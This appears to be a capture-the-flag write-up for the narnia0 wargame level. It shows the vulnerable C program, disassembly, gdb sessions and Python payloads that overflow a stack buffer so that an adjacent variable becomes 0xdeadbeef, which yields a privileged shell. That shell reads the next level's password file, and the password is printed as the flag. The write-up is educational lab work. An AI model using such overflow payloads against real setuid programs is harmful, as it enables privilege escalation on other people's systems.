Writeup
narnia0.c
content :
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
objdump main useful part :
804855b: 55 push ebp
804855c: 89 e5 mov ebp,esp
804855e: 53 push ebx
804855f: 83 ec 18 sub esp,0x18
8048562: c7 45 f8 41 41 41 41 mov DWORD PTR [ebp-0x8],0x41414141
8048569: 68 90 86 04 08 push 0x8048690
804856e: e8 7d fe ff ff call 80483f0 <puts@plt>
8048573: 83 c4 04 add esp,0x4
8048576: 68 c3 86 04 08 push 0x80486c3
804857b: e8 50 fe ff ff call 80483d0 <printf@plt>
8048580: 83 c4 04 add esp,0x4
8048583: 8d 45 e4 lea eax,[ebp-0x1c]
Stack view :
_________________________
| |
| buf[20] (ebp-0x1c) |
|_______________________|
| |
| val (ebp-0x8) |
|_______________________|
| |
| ebx |
|_______________________|
| |
| ebp |
|_______________________|
The main allocates 24 bytes of memory (0x18). buf is 20 bytes and val is 4 bytes; because buf is in a lower memory address than val we can overwrite the val
variable.
We can try to write into a file 24 a and then launch the program and read the input from the file :
narnia0@narnia:/narnia$ python -c 'print "a" * 24' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaaaaa
val: 0x61616161
WAY OFF!!!!
Check with gdb that we write into val :
gdb -q ./narnia0
set disassembly-flavor intel
disassemble main
then set a breakpoint after the scanf:
b *0x08048591
r < /tmp/.narnia0
And then print the value in the stack from ebp-0x8
(val) :
(gdb) x/x $ebp-0x8
0xffffd5c0: 0x61616161
(gdb) x/8x $ebp-0x1c
0xffffd5ac: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd5bc: 0x61616161 0x61616161 0x00000000 0x00000000
Now what if we write 20 a + deadbeef into the file ?
narnia0@narnia:/narnia$ python -c 'print "a" * 20 + "deadbeef"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaadead
val: 0x64616564
WAY OFF!!!!
It’s not good either because is reading the first 4 character from deadbeef and not deadbeef
in hexadecimal. Remember that 2 hex digits corresponds to 1 byte. So we can’t simply write into the file /tmp/.narnia0
deadbeef but we need to write in binary (not text) deadbeef. To do so we can use python as follow:
narnia0@narnia:/narnia$ python -c 'print "a" * 20 + "\xde\xad\xbe\xef"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaa��
val: 0xefbeadde
WAY OFF!!!!
we’re almost there, but is not perfect, why the system reversed the string from deadbeef
to efbeadde
? Little Endian the last byte (less significant) goes in to the lower address and the most significant into an higher address. let’s see with gdb :
(gdb) b *0x080485b5
Breakpoint 1 at 0x80485b5
(gdb) r < /tmp/.narnia0
Starting program: /narnia/narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaa��
val: 0xefbeadde
Breakpoint 1, 0x080485b5 in main ()
(gdb) x/x $ebp-0x8
0xffffd5c0: 0xefbeadde
(gdb) x/8x $ebp-0x1c
0xffffd5ac: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd5bc: 0x61616161 0xefbeadde 0x00000000 0x00000000
The solution is :
narnia0@narnia:/narnia$ python -c 'print "abcdefghijklmnopqrst" + "\xef\xbe\xad\xde"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: abcdefghijklmnopqrstᆳ�
val: 0xdeadbeef
But is not opening the shell, why?
Because is reading implicitly from stdin, and in the end of /tmp/.narnia0
there must be an EOF which close the shell. If we try to keep the shell open with cat then we can get an interactive shell :
(python -c 'print "A"*20+"\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
cat /etc/narnia_pass/narnia1
efeidiedae
Flag:
efeidiedae